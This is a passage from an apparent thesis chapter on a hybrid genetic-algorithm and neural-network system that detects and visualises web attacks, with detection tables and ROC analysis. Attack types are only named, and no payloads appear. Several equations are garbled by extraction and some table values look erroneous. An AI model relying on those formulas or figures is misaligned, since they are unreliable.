minima. Gradient search techniques tend to get trapped at local minima. With a high 

enough gain (or momentum), backpropagation can escape these local minima. However, 

it leaves them without knowing whether the next one it finds will be better or worse. 

When the nearly global minima are well hidden among the local minima, 

backpropagation can end up bouncing between local minima without much overall 

improvement, thus making for very slow training. 

A second shortcoming of backpropagation is the following. To compute a gradient 

requires differentiability. Therefore, backpropagation cannot handle discontinuous 

optimality criteria or discontinuous node transfer functions. This precludes its use on 

some common node types and simple optimality criteria. 

GA’s are algorithms for optimization and learning, based loosely on several features of 

biological evolution. GA’s do not face the drawbacks of the backpropagation (BP) 

algorithm, such as the scaling problem and the limitation of the fitness (error) function 

to be differentiable or even continuous. If the problem complexity increases, due to 

increased dimensionality and/or greater complexity of data, the performance of BP falls 

off rapidly. 

 GA’s do not have the same problem with scaling as backpropagation. One reason for 

this is that they generally improve the current best candidate monotonically, by keeping 

the current best individual as part of their population while they search for better 

candidates. Secondly, they are not bothered by local minima.  
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4.3.3.2.2 Genetic modeling 

To find an optimal set of weights for the multilayer feedforward neural network we first 

need to represent the problem domain as a chromosome. Initial weights are chosen 

randomly within some small interval [-0.5, 0.5]. The set of weights can be presented by 

a square matrix (Figure 4-4) in which a real number corresponds to the weighted link 

from one neuron to another and zero means that there is no connection between two 

given neurons. Since a chromosome is a collection of genes, a set of weights can be 

represented by an n-gene chromosome, where each gene corresponds to a single 

weighted link in the network. Thus, if we string the rows of the matrix together, 

ignoring zeros, we obtain a chromosome. 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Figure 4-4  Weight connection matrix of the three layer (BP) neural network 
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Each row of the matrix represents a group of all the incoming weighted links to a single 

neuron. This group can be thought of as a functional building block of the network 

[Montana and Davis 89] and therefore should be allowed to stay together passing 

genetic material from one generation to the next. To achieve this we associated each 

gene of the chromosome not with a single weight but with a group of weights, a row of 

the above matrix. 

In total, there are 409 weighted links (31*10 + 11*9) between neurons, so the 

chromosome has a dimension of 409 and a population member has been represented as: 

M = <w0,0, w1,0…w30,0, w0,1, w1,1…w30,1 ,……, w0,9, w1,9…w30,9  |  w0,0, w1,0 …w10,0,   

w0,1, w1,1…w10,1 ,……, w0,8, w1,8…w10,8 > , 

where, the first part is the transposed matrix Wih[31,10] of weights between the input 

and the hidden layer (matrix A in Fig. 4-4, we string the rows together) and the second 

part concatenated is the transposed matrix Who[11,9] of weights between the hidden 

layer and the output (matrix B in Fig. 4-4). Each member of the population was coded 

with the structure of the chromosome and a double real number for the fitness number. 

The second step is to define a fitness function for evaluating the chromosome’s 

performance. This function must estimate the performance of the neural network. The 

fitness function for evaluating the chromosome’s performance was the sum of squared 

errors (SSE), used in the training phase of the BP algorithm. The smaller the sum, the 

fitter the chromosome. 

The third step is to choose the genetic operators. The crossover and mutation operators 

were used. A crossover operator takes two parent chromosomes and creates a single 

child with genetic material from both parents. Each gene in the child’s chromosome is 

represented by the corresponding gene of the randomly selected parent. A mutation 

operator randomly selects a gene in a chromosome and adds a small random value 

between -0.5 and 0.5 to each weight in this gene. 

The crossover and mutation probabilities were 0.8 and 0.05 respectively. Firstly a 

mutation probability of 0.02 was used, but finally it raised to 0.05, as it accelerated the 

evolution of the GA. 

The population size MAXCHR defined to 30 and the number of N generations to 1000. 

The used algorithm of the EANN system can be described in a pseudo-code as 

following: 
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10. Randomly generate an initial population of chromosomes (population size 

MAXCHR) with weights in the range of [-0.5, 0.5]. 

11. Train the network for N epochs using the BP algorithm. Calculate the fitness 

function for all individuals. 

12. Select a pair of chromosomes for mating with a probability proportional to their 

fitness (roulette-wheel selection). 

13. Create a pair of offspring chromosomes by applying the genetic operators 

crossover (multi-point crossover) and mutation. 

14. Place the created offspring chromosomes in the new population. 

15. Repeat step 4, until the size of the new population becomes equal to the size of the 

initial population, and then replace the parent chromosome population with the 

new (offspring) population. 

16. Go to step 2 and repeat the process until the algorithm converges or a specified 

number of generations has been reached (we used a maximum of N generations). 

17. Use the weights of the best member (ideal) of the last generation for the 

feedforward only operation of the ANN (classification). 

4.3.3.2.3 EANN performance versus ANN 

For each generation the minimum (minFit) , the average (avgFit) and the maximum 

fitness (maxFit) of the population were calculated. The algorithm converged if the 

minimum fitness was less than an epsilon, equal to  10-12 and the ratio minFit/avgFit was 

greater that 0.95. By setting such a severe criterion all members of the final generation 

became “ideal” and fit to be used for classification in the feedforward neural network, 

not only the best member of the population.  

Figure 4-5 shows the evolution of the genetic algorithm. It converged after 305 

generations giving a minimum fitness of 6.61e-12 and 30 ideal members, a set of 30 

best optimized weights for the operation of the ANN. Figures 4-6a, 4-6b show the 

performance of the EANN hybrid expert system versus a simple Backpropagation NN 

(BNN).  

In Figure 4-6a the straight line indicates the stable performance (95.70%) of the EANN 

using the training set for the performance test. Initial training was done with only 1000 

epochs and a SSE limit of 10-3. The other two lines show the performance of a simple 
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ANN using the BP algorithm. We can distinguish the stochastic behavior of the ANN’s 

performance. Using 1000 epochs and a SSE limit of 10-3 the ANN system performance 

rated between 50-87%, giving an average of 66.15% for 30 runs. Using 30,000 epochs 

and a SSE limit of 10-5 the ANN system performance rated between 85-95% giving an 

average of 92.52% for 30 runs. In the first version of the prototype system the latter 

combination was used, which had the drawback of a slower training cycle. 

Using the training set and the hybrid expert system with the GA approach for the weight 

optimization a stable neural network performance of 95.70% was achieved for all the 30 

runs (red straight line in Fig. 4-6a). Using test data instead of the training set, the mean 

network performance for the same 30 runs dropped to only 93.51% (red line in Fig. 4-

6b). 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Figure 4-5  Genetic algorithm evolution 
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Figure 4-6a  EANN performance versus ANN (training data) 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Figure 4-6b  EANN performance versus ANN (test data) 
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4.3.3.3  Training Data Quality 

A good method of determining how well a neural network might be able to learn from a 

given set of data is to measure the information which is shared between the proposed 

input to the network and its target output. The amount of information associated with an 

event relates to the probability of that event happening: if a rare event occurs, we gain 

more information than we would if a common event occurred. In fact, the information 

associated with an event is defined as log(1/P) where P is the probability of the event 

occurring. If we want to know how much information is contained in a whole system, 

we must add up the information contained in every possible event and take the weighted 

average. 

This measure is called entropy and measures uncertainty in the system. A large entropy 

(very uncertain) is produced by a system where the probabilities of different events 

occurring are similar and so we have little hope of guessing anything about its behavior.  

When building a neural network we are not interested in the probabilities with which 

different events might occur. Indeed, a good training set is one in which all the possible 

events are covered with equal frequency. The entropy measure is of use here as it should 

be as close to its theoretical maximum as possible. The entropy of the input layer and 

the output layer, independent of one another, therefore should be as close to their 

maximum value as possible. Low entropy at the input or output causes a bias in the 

network’s learning and so should be avoided. 

We are really interested in the information which exists between the input data and the 

output data, referred to as mutual information. To do this we must calculate the amount 

of information we gain about the output by seeing the input. 

Mutual information between two data sets is defined as the entropy of one variable 

minus the conditional entropy of the second, given the first [Swingler 96]. In other 

words, we want the network to take the input and remove all uncertainty about what the 

corresponding output should be. The amount of the original uncertainty we can remove 

depends on the mutual information present in the data. With an ideal training set, once 

we know the input value, there should be no doubt as to the correct output value: it 

should be the one value with a conditional probability, given the correct input of one. 

All other output values should have a probability of zero. As this is rarely the case, we 



Chapter 4 EANN Prototype System 
 

119 

need a measure of the average spread of conditional probabilities over the whole 

training set.  

This tells us the entropy on the output if we know what the input is. To find the entropy 

associated with the entire training set, we need to take an average, weighted by the 

probability of each event occurring, over every training example. 

4.3.3.3.1 Calculating the entropy values for a data set 

The entropy of a single set of events, either the input events or the output events, is 

calculated as 

i

n

i
i P

PH 1log*
1

∑
=

= , 

where Pi is the probability of event i occurring out of the possible n events. H always 

falls in the range from 0 to log(n). 

The conditional entropy of one set of events, X, given that a single event yi has occurred 

is calculated in exactly the same way as the entropy for a single variable, except that we 

need to replace P(xi) with the conditional probability P(xi|yj) : 
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Where n is the number of possible distinct input events and m is the number of possible 

distinct output events.  
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The final value tells us the uncertainty which exists between the input and the output 

data of a training set.  

As stated, mutual information is simply H(X) – H(X|Y) : 

),(
)(

log),(
)(

1log)();(
1 11 ji

j
j

n

i

m

j
i

i

n

i
i yxP

yP
yxP

xP
xPYXI ∑∑∑

= ==

−=   

as    )(),(
1

iji

m

j
xPyxP =∑

=

 we have 

)(*)(
),(

log*),();(
1 1 ji

ji
j

n

i

m

j
i yPxP

yxP
yxPYXI ∑∑

= =

=  

Given that is desirable to have a large value for H(X) it is sufficient to say that we 

require a low value of H(X|Y) to yield high information content. 

4.3.3.3.2 Summary of information theory to data set analysis 

• A well balanced training set is one where H(inputs) ≈ log(n) and H(outputs) ≈ 

log(m). 

• Conditional entropy of the outputs given the inputs, H(output | input), should be 

as low as possible. If it is high (maximum = H(inputs)), then  the data is not 

learnable. 

• The above two points dictate that a good training set will have a high mutual 

information value between input and output. Mutual information ranges from 0 

to H(input) = H(output), a low score indicates little chance of success for a 

neural network. 

Looking at ratios: 

• H(input):log(n) ranges from 0 to 1 and will be high if the input data is evenly 

distributed. 

• H(output):log(m)ranges from 0 to 1 and will be high if the output data is evenly 

distributed. 

• H(output | input):H(output) ranges from 0 to 1 and a low value indicates that the 

task is learnable. 

• I(input;output):H(output) ranges from 0 to 1 and will be high if a data set is 

learnable. 
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Table 4.2 shows the results with the used training set. As we can see: H(inputs) ≈ log(n) 

and H(outputs) ≈ log(m), so the used training set is a well balanced training set. The 

ratio I(input; output):H(output) ranges from 0 to 1 and will be high if a data set is 

learnable. This ratio for our data set is equal to 0.805, which means that the data set 

used is learnable. However, it could be improved in the future. 

 
N log(n) m log(m) H(X) H(Y) H(X|Y) H(Y|H) I(X;Y) 
49 3.891 9 2.197 3.512 2.160 1.777 0.420 1.740 

Table 4-2  Data sets entropy and mutual information results 

4.3.4  Graph generator module 

The predicted attack by the EANN is then used to create a coloured directed graph in 

dot form of the well known GraphViz [GraphViz 06] package, using the corresponding 

DOT language. This language describes four kinds of objects: graphs, nodes, edges and 

labels and has a large number of attributes that affect the graph drawing. 

The payload of a web request is cut in nodes and the directed edges are the links 

between these nodes from left to right. Therefore, a web request from an IP source 

217.229.196.17 with payload GET /hact/graphics/blackwell.jpg, has as nodes the words 

“217.229.196.17”, “GET”, “hact”, “graphics”,  “blackwell.jpg” and as “directed edges” 

the links between these nodes from left to right: 

217.229.196.17  GET  hact  graphics  blackwell.jpg. 

When each web request with its IP source address and the requested data is visualized in 

a 3D graph the security analyst can navigate into the graph for a quick interpretation and 

evaluation in case of a malicious attempt. Timestamps were not added to the graph as 

graphs are displayed in real time and the objective here is to keep the display as simple 

as possible. 

There are two graphs generated with the GraphViz package. One graph contains real 

time traffic, e.g. both normal and possible malicious traffic and the other does not 

contain normal but only the possible malicious traffic. Normal traffic is visualized in 

black and malicious traffic in 9 different colours, one for each attack class, such as red 

(Commands), brown (Insertions), magenta (Backdoor attempts), green (Mail), cyan 

(Buffer overflows), gold (CGI), blue (IIS), yellow (XSS) and coral (Miscellaneous). 

This visual separation was necessary because normal traffic overloads the display and 
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the security analyst cannot interpret quickly the malicious attempts. When visualizing 

both normal and malicious traffic the security analyst spends more time navigating 

through the graph trying to eliminate normal traffic by zooming into the coloured part of 

the display, than he would if he had only a coloured graph to contend with.  

These two dot coloured graphs are then visualized with Tulip [Tulip 06], a 3D graph 

visualization tool, supporting various graph algorithms and extensive features for 

interactive viewing and graph manipulation. 

 Fig. 4-7a, 4-8a, 4-9a, 4-10a, 4-11a show normal and malicious web traffic and Fig. 4-

7b, 4-8b, 4-9b, 4-10b, 4-11b only the malicious traffic for the same events.  

In Fig. 4-7b the cyan graph indicates a buffer overflow (the character “d” repeated more 

than 200 times) from IP 195.130.99.100, the green graph a formail attempt from IP 

195.130.99.218, the blue graph an IIS attempt, the brown an insertion attempt, the red 

graph a command execution attempt and the magenta graph a Trojan backdoor attempt.  

In Fig. 4-8b the red graph indicates a command execution attempt, the magenta graph a 

Trojan backdoor attempt from IP 203.163.130.94 and the cyan graph multiple buffer 

overflow attempts from 4 different IP addresses.  

In Fig. 4-9b the brown graph indicates a Perl injection attempt from 62.195.136.174, the 

magenta graph a Trojan backdoor attempt from multiple IP addresses, the red graph an 

command execution attempt and the cyan a buffer overflow (the character “x” repeated 

more than 200 times) from IP 195.249.40.234.  

In Fig. 4-10b the brown graph shows a backdoor attempt (perl injection) with the recent 

Linux/Lupper worm aka luppi worm. The latter is a new attack which appeared in 

November 2005 and was detected by the system which was not trained for this kind of 

code insertion. 

In Fig. 4-11a the brown graphs in the right indicate simultaneous Perl injection attempts 

from IP 195.102.4.156 and 211.189.119.85, the red graphs indicate multiple command 

execution attempts from IP 200.24.5.98 and other sources and the magenta graphs 

indicate multiple backdoor attempts (Code Red II) from IP 217.229.196.17. 

Finally, in Fig. 4-11b we can spot additional command execution attempts from IP 

213.23.17.133 and buffer overflows attacks from IP 195.77.248.102 (cyan graph). The 

Perl injection code can be easily read on the right bottom of the graph. 
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Figure 4-7a  Normal and malicious traffic (online data 14/6/2005) 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Figure 4-7b  Malicious only traffic (online data 14/6/2005) 
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Figure 4-8a  Normal and malicious traffic (web logs 2003) 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Figure 4-8b  Malicious only traffic (web logs 2003) 
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Figure 4-9a  Normal and malicious traffic (web logs 2005) 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Figure 4-9b  Malicious only traffic (web logs 2005) 
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Figure 4-10a  Normal and malicious traffic (online data 9/11/2005) 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Figure 4-10b  Malicious only traffic - luppi worm (online data 9/11/2005) 
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Figure 4-11a  Normal and malicious traffic (web logs 2006) 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Figure 4-11b  Malicious only traffic (web logs 2006) 
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4.3.5  Statistical analysis module 

The system’s performance was tested using real data, captured with tcpdump utility in 

June and November 2005 and web logs of 2004 and 2003.  

In the statistical analysis module of the system (Figure 4-2), for each test a confusion 

matrix is calculated to display the classification results of the system. The confusion 

matrix is defined by labelling the desired classification in rows and the predicted 

classifications in columns. For each exemplar, a 1 is added to the cell entry defined by 

(desired classification, predicted classification). Since we want the predicted 

classification to be the same as the desired classification, the ideal situation is to have all 

the exemplars end up on the diagonal cells of the matrix (the diagonal that connects the 

upper-left corner to the lower right). 

Table 4-3 shows such a confusion matrix for test2 (web logs 2003), with thresholds of 

0.7. 

 
 CMD INS TBA MAI BOV CGI IIS XSS MIS NRM
CMD 17469 241 0 0 0 0 0 9 0 0
INS 0 5 0 0 0 0 0 0 0 0
TBA 0 0 312 0 0 0 0 0 0 0
MAI 0 0 0 3 0 0 0 0 0 0
BOV 0 0 0 0 421 0 0 0 0 0
CGI 0 0 0 0 0 7 0 0 0 0
IIS 0 0 0 0 0 0 95 0 0 0
XSS 0 5 0 0 0 0 0 0 0 0
MIS 0 0 0 0 0 0 0 0 173 0
NRM 0 0 0 0 0 0 0 0 0 130780

 
 
            Hits:      18485    False Alarms:           255 
            Missed:       25    Normal traffic:   130780  Total events: 149545 
 

Table 4-3  Confusion matrix for test2 (EANN with threshold 0.7) 

 
In addition, for each test a 2x2 table is calculated containing, on the first row the Hits 

(attacks present or True Positives) and the False Alarms (or False Positives) and on the 

second row the Misses (attacks present but not detected or False Negatives) and the 

Correct Rejections (normal traffic or True Negatives).  

Results are presented in Table 4-4 in this form. All tests have been run for various 

values of a detection threshold to show how changing the detection threshold affects 
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detections versus false alarms. If the threshold is set too high then the system will miss 

too many detections and conversely, if the threshold is set too low there will be too 

many false alarms. During the tests threshold values were used rating from 0.3 to 1.0 

with a step of 0.1. The best results using the ANN were obtained with a threshold value 

of 0.8 giving maximum detections of 95% and a minimum of false alarms (Table 4.4). 

Using the EANN almost the same results were obtained for a threshold rating between 

0.3 and 0.9, due to the stable performance (95.70%) of the hybrid expert system. Table 

4-5 summarizes the results for the hybrid expert system. 

 

Threshold 0.3 0.4 0.5 0.6 0.7 0.8 0.9 1.0 
Positives 
Negatives 

TP          FP   
FN         TN 

TP           FP   
FN          TN 

TP           FP  
FN           TN

TP            FP  
FN           TN

TP            FP  
FN           TN

TP            FP  
FN           TN 

TP            FP  
FN           TN 

TP           FP  
FN           TN 

         
Logs 2003 
149684  events 

22251      28 
420   127182

21936        15 
551    127182 

21806      647
49      127182

21936          5
561    127182

22084      140
278    127182

22274      143 
85      127182 

15550          0 
6952  127182 

0                  0 
22502 127182

         

Logs 2003 
149545 events 

18143     459
163   130780

18148      459 
158    130780 

18141      426
198    130780

18141      427
197    130780

18276        10
479    130780

18278          2 
485    130780 

13849          0 
4916  130780 

0                   0 
18765 130780

         

Logs 2003 
149656  events 

9149       113
468   139726

9142        152 
436    139726 

9148        118
464    139726

9136          12
582    139726

9038          22
670    139726

9049            7 
674    139726 

6945            0 
2785  139726 

0                   0
9730   139726

         

Logs 2003 
78688   events 

6560         28
98       72002

6587          11 
88        72002 

6543          10
133      72002

6583          15
85        72002

6582            9
95        72002

6583            7 
96        72002 

6436            0 
250      72002 

0                   0
6686     72002

         

Logs 2004 
149450  events 

7467         69
 97    141817

7478          31 
124    141817 

7534          24
75      141817

7495          13
125    141817

7532          28
73      141817

7483            2 
148    141817 

7346            2 
285    141817 

0                   0 
7633   141817

         

Logs 2004 
149503  events 

10026       45
167   139265

10031        23 
184    139265 

10036        45
157    139265

9991            8
239    139265

10002          2
234    139265

10025          8 
205    139265 

5866            0 
4372  139265 

0                  0 
10238 139265

         

Logs 2004 
149749 events 

3477         68
149   146055

3552          52 
90      146055 

3473          62
159    146055

3609            8
77      146055

3534            5
155    146055

3457            2 
235    146055 

939              0 
2755  146055 

0                  0 
3694   146055

         

Real data Oct 05 
49372  events 

8                 0
1         49363

8                  0 
1          49363 

8                  0
1          49363

8                  0
1          49363

8                  0
1          49363

8                  0 
1          49363 

9                  0 
0          49363 

9                  0 
0          49363

         

Real data Nov 05 
22022  events 

10               0
59       21953

34                0 
35        21953 

10              22
37        21953

24                0
45        21953

10                0
59        21953

10              22 
37        21953 

0                 0 
69        21953 

0                  0 
69        21953

         

 

Table 4-4  Backpropagation results 
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Test Data 
 

 
Events 

Logs 2003 
 
 

149684 

Logs 2003 
 
 

149545  

Logs 2003
 
 

149456   

Logs 2003
 
 

78688   

Logs 2004
 
 

149450   

Logs 2004
 
 

149503  

Logs 2004 
 
 

149749  

online data 
(Oct. 05) 

 
49372   

online data
(Nov. 05)

 
22022 

          
Positives 
Negatives 

TP       FP  
FN      TN 

TP         FP  
FN        TN 

TP         FP 
FN        TN

TP       FP  
FN      TN

TP        FP  
FN       TN

TP       FP  
FN      TN

TP       FP  
FN      TN 

TP         FP  
FN        TN 

TP        FP  
FN       TN

          

 22445   26 
31 127182 

18485   255 
25   130780 

9136       12
582 139726

6639     26
21   72002

7575        2
56  141817

10176     0
62 139265

3631       0 
63 146055 

9               0 
0       49363 

34          22
13    21953

Table 4-5  Hybrid expert system results (threshold 0.7) 

 

4.4  Prototype System Performance 

4.4.1  Introduction 

There are two main divisions of classification: supervised classification (or 

discrimination) and unsupervised classification (or clustering). In supervised 

classification we have a set of data samples, each consisting of measurements on a set of 

variables, with associated labels, the class types. These are used as exemplars in the 

classifier design. In unsupervised classification, the data are not labelled and we seek to 

find groups in the data and the features that distinguish one group from another. 

In a classifier, a decision rule partitions the measurement space into C regions Ωi  

i=1...C, given a set of measurements obtained through to one of C possible classes Ωi , i 

= 1...C. If an observation vector is in Ωi then it is assumed to belong to class ωi.. Each 

region may be made up of several disjoint regions. The boundaries between the regions 

Ωi are the decision boundaries. Generally, it is in regions close to these boundaries that 

the highest proportion of misclassifications occurs. In such situations we may reject the 

pattern (or withhold a decision until further information is available). This option is 

known as the reject option and therefore we have C+1 outcomes of the decision rule in 

a C-class problem.  

The discriminability of a rule is an important aspect of the performance of a 

classification rule. It denotes how well it classifies unseen data and the calculation of 
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the error rate plays an important role in decision-making and classification performance 

assessment. 

There are two approaches to measure the supervised classification. The first assumes a 

knowledge of the underlying class-conditional probability density functions e.g. the 

probability density function of the feature vectors for a given class. The second 

approach develops rules that use the data to estimate the decision boundaries directly, 

without explicit calculation of the probability density function. 

These two approaches are the Bayes’ decision rule [Webb 05] and the Neyman-Pearson 

decision rule [Hogg & Tanis 06]. The first is a theoretical approach to performance 

measurement and it cannot be used for our prototype system, as it presumes that the 

probabilities of each class occurring (a-priori probabilities), are known. A short 

description of Bayes’ decision rule is presented in Appendix F. 

In the context of the Neyman-Pearson approach we will calculate the Receiver 

Operating Characteristic (ROC) for the prototype system, as a means of characterizing 

its performance. ROC provides a good means of visualizing the prototype’s 

performance in order to select a suitable decision threshold. The ROC curve is a plot of 

the true positive rate on the vertical axis against the false positive rate on the horizontal 

axis. In the terminology of signal detection theory, it is a plot of the probability of 

detection against the probability of false alarm, as the detection threshold is varied. 

4.4.2  Classification 

4.4.2.1  Neyman-Pearson decision rule 

An alternative to the Bayes’ decision rules for a two class problem is the Neymann-

Pearson test. In a two-class problem there are two possible types of error that may be 

made in the decision process. We may classify a pattern of class ω1 as belonging to 

class ω2 or a pattern from class ω2 as belonging to class ω1. Let the probability of these 

two errors be ε1 and ε2 respectively, so that 

dxxp )|(
2

11 ∫Ω
= ωε   error probability of Type I        

and 

dxxp )|(
1

22 ∫Ω
= ωε   error probability of Type II      
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If class ω1 is termed the positive class and class ω2 the negative class, then ε1 is referred 

to as the false negative rate, the proportion of positive samples incorrectly assigned to 

the negative class and ε2 is the false positive rate, the proportion of negative samples 

classed as positive. 

If ω1 denotes the signal probability and ω2 denotes the “noise” (term used in signal 

theory) then ε2 is the probability of false alarm (PF) and ε1 is the probability of missed 

detection (PM). In many applications a threshold is set to give a fixed probability of false 

alarm. 

The Neyman-Pearson decision rule is to minimize the error ε1 subject to ε2 being equal 

to a constant, a, say. Using different terminology, the Neyman-Pearson decision rule is 

to maximize the detection probability PD (PD=1-ε1), while not allowing the false alarm 

probability (PF) to exceed a certain value. 

We seek the minimum of 

dxxpdxxpaadxxpdxxpr )|()|({)*1(})|({)|( 1221
112

ωωμμωμω −+−=−+= ∫∫∫ ΩΩΩ
}  

where μ is a Lagrange multiplier and α is the specified false alarm rate. 

This will be minimized if we choose Ω1 such that the integral is negative, i.e.  

If  0)|()|(* 12 <− ωωμ xpxp      then  x Є Ω1  

or, in terms of the likelihood ratio, 

If  μ
ω
ω

>=
)|(
)|()(

2

1

xp
xpxL  then x Є Ω1 

Thus, the decision rule depends only on the within-class distributions and ignores the a 

priori probabilities as in Bayes’ decision rule. 

The threshold μ is choosen so that  

∫Ω
=

1

)|( 2 adxxp ω ,   where α is the specified false alarm rate (PF). 

In general μ cannot be determined analytically and requires numerical calculation. 

Using different terminology, the Neyman-Pearson criterion selects the most powerful 

test of size a. 

Often, the performance of the decision rule is summarized in a Receiver Operating 

Characteristic (ROC) curve, which plots the true positive against the false positive, that 
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is the probability of detection ( ∫Ω
=−

1

)|(1 11 dxxp ωε ) against the probability of false 

alarm ( dxxp∫Ω
=

1

)|( 22 ωε ), as the threshold μ is varied. 

4.4.2.2  Sufficient Statistics and Monotonic Transformations 

Consider the test  

Η0  : x ~ f0 (x) 

H1 : x ~ f1 (x),  where fi(x) is a density.  

The solution to the optimization problem is given by 

γ

0

1

0

1

)(
)()(

H

H

xf
xfxL

<
>

=  ,    where L(x) is the likelihood ratio, and γ is a threshold.  

γ  is such that  α
γ

== ∫
>∀

dxxfP
xLx

F )(
)(,

0 .    The detection probability is dxxfPD )(
1

1∫
Ω

= .  

The optimal decision rule is called the Likelihood Ratio Test (LRT). The threshold 

can often be solved for as a function of α. 

The densities fi(x) are nonnegative, so as Ω1 shrinks, both probabilities tend to zero. As 

Ω1 expands, both tend to one. The ideal case, where PD = 1 and PF = 0, cannot occur 

unless the distributions do not overlap (i.e., ∫ f0(x)f1(x)dx=0). Therefore, in order to 

increase PD, we must also increase PF. This represents the fundamental tradeoff in 

hypothesis testing and detection theory. See Figure 4-12 and Figure 4-13 for a graphical 

presentation of PD  and PF respectively. 
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Figure 4-12  Detection values for a certain threshold 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Figure 4-13  False alarm values for a certain threshold 
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For hypothesis testing involving multiple or vector-valued data, direct evaluation of the 

size (PF) and power (PD) of a Neyman-Pearson decision rule would require integration 

over multi-dimensional, and potentially complicated decisions regions. However, in 

many cases this can be avoided by simplifying the likelihood ratio test to a test of the 

form  

 γ

0

1

H

H

t <
>

  ,        where the test statistic t = T(x) is a sufficient statistic for the data. 

Such a simplified form is arrived at by modifying both sides of the likelihood ratio test 

with monotonically increasing transformations and by algebraic simplifications. Since 

the modifications so not change the decision rule, we may calculate PF and PD in terms 

of the sufficient statistics. Thus, the false-alarm probability may be written 

  PF= Pr [declare H1] = dttf
tt

)(
,

0∫
>∀ γ

, where 

f0(t) denotes the density of t under Ho. Since t is typically of lower dimension than x, 

evaluation of PF  and PD can be greatly simplified. The key is being able to reduce the 

likelihood ratio test involving a sufficient statistic for which we know the distribution.  

4.4.2.3  Neyman-Pearson Lemma: General case 

Let Φ be a function of the data x with Φ(x) Є [0,1]. Φ defines the decision rule “declare 

H1 with probability Φ(x)”.  

Consider the hypothesis testing problem: 

Η0  : x ~ f0 (x) 

H1 : x ~ f1 (x),     where fo and f1 are both density functions.  

Let a Є [0,1) be the size constraint (false-alarm probability). The decision rule 

                  1   if  L(x) > γ                                 

Φ(x) = 
⎪
⎩

⎪
⎨

⎧
 ρ   if  L(x) =  γ                            

                 0    if  L(x) < γ                            

is the most powerful test of size α, where γ and ρ  are uniquely determined by requiring  
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PF = α. If  α = 0, we take γ = ∞, ρ = 0.  

When Pr[L(x)] = γ] > 0  for certain γ, we choose γ and ρ as follows: 

Pr[L(x) > γ] ≤ α ≤ Pr[L(x) ≥ γ]  and 

ρ Pr[L(x) = γ] = α - Pr[L(x) > γ]. 

The false alarm probability is:   PF   = Pr[L(x) > γ] + ρ Pr[L(x) = γ]. 

4.4.3  Detection, False and Miss probabilities of the 

prototype system 

If the predicted vector of the classifier belongs to one of the C possible classes Ci , i = 

1...C, then it is assumed that the predicted attack belongs to class Ci. So, an one (1) is 

received at the position i, indicating the corresponding class Ci and all other components 

of the vector are zero (0), i.e. if the predicted vector is (0,1,0...0) it means that the 

predicted attack belongs to class ω2.  Supposing, that the classifier runs N times trying to 

classify the same event it does not produce the same vector every time, due to 

classification errors (or noise), e.g. it does not produce a one (1) N times at the same 

position, indicating the class ωi. Assuming the N runs are statistically independent, the 

values we receive are Bernoulli random variables: xn ~ Bernoulli (θ).  

We are faced with the following hypothesis test: 

Ho :  θ = p       (0 output) 

H1 :  θ =1-p     (1 output),   where 

p is the probability that a value is flipped (0↔1) , 0 ≤ p < 0.5 and p is known.   

For a certain class Ci the received sequence will be decoded x = (x1,x2,…xN)T  by 

designing a Neyman-Pearson rule. 

The join density of xn is : 

kNkXNXX
N
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X
N ppppppxxf iiii −−−
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so, k is a sufficient statistic for θ and the N values x1,x2,…xN  can be replaced by the low-

dimensional quantity k without losing information about θ. 

The likelihood ratio is: 
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The false alarm probability is 
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where γ and ρ are chosen so that PF = α, as described above. 

The corresponding detection probability is 
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4.4.4  ROC curve of the Prototype System 

4.4.4.1  ROC Calculations 

Running the system N times (N = 10) to classify the same attack we measured p=0.3. 

When a zero is received (instead of a one) it means that the classifier either misclassifies 

the attack or misses to detect the specific attack. 
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From the previous equation of PF  (4.1) we calculate γ and ρ so that PF  = a (Table 4-6). 

 
γ Pr[k=γ] Pr[k>γ]<α≤ Pr[k≥γ] 
γ=8 0,013 0.0001< α ≤ 0.013 
γ=7 0.008 0.013 < α ≤ 0.021 
γ=6 0.035 0.021 < α ≤ 0.056 
γ=5 0.084 0.056 < α ≤ 0.140 
γ=4 0.196 0.140 < α ≤ 0.336 
γ=3 0.265 0.336 < α ≤ 0.601 
γ=2 0.230 0.601 < α ≤ 0.831 
γ=1 0.120 0.831 < α ≤ 0.951 
γ=0 0.028 0.951 < α ≤ 0979 

Table 4-6  Threshold values γ versus different interval values of PF (α) 

For a given value of PF and γ we calculate ρ as following: 

Example:   For PF = a =0,1   
[ ]

[ ] 523.0
084.0

056.010.0
5

5
=

−
=

=
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r

rρ   

To find the detection probability PD we first calculated the following table (Table 4-7): 

 
γ Pr[k=γ] Pr[k>γ] 
γ=3 0.008 0.958 
γ=4 0.035 0.923 
γ=5 0.084 0.839 
γ=6 0.196 0.643 
γ=7 0.265 0.378 
γ=8 0.230 0.148 
γ=9 0.120 0.028 

Table 4-7  Threshold values γ for the computation of  PD 

Then, from equation (4.2) we calculated PD as following: 

[ ] [ ] 882.0084.0*523.0839.05*5 =+==+>= kPkPP rrD ρ  

Repeating the calculus for different values of PF = α we filled up the following table for 

fault (PF), detection (PD) and miss (1-PD) probabilities: 
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PF = α γ ρ PD 1-PD 
0.05 6 0.828 0.8053 0.1947 
0.10 5 0.523 0.8829 0.1171 
0.14 5 1.000 0.9230 0.0770 
0.20 4 0.306 0.9337 0.0663 
0.25 4 0.561 0.9426 0.0574 
0.30 4 0.816 0.9515 0.0485 
0.35 3 0.052 0.9584 0.4160 
0.40 3 0.241 0.9599 0.0401 
0.45 3 0.430 0.9614 0.0386 
0.50 3 0.618 0.9629 0.0371 
0.55 3 0.807 0.9644 0.0356 
0.60 3 0.996 0.9659 0.0341 
0.65 2 0.213 0.9662 0.0338 
0.70 2 0.430 0.9666 0.0334 
0.75 2 0.647 0.9666 0.0334 
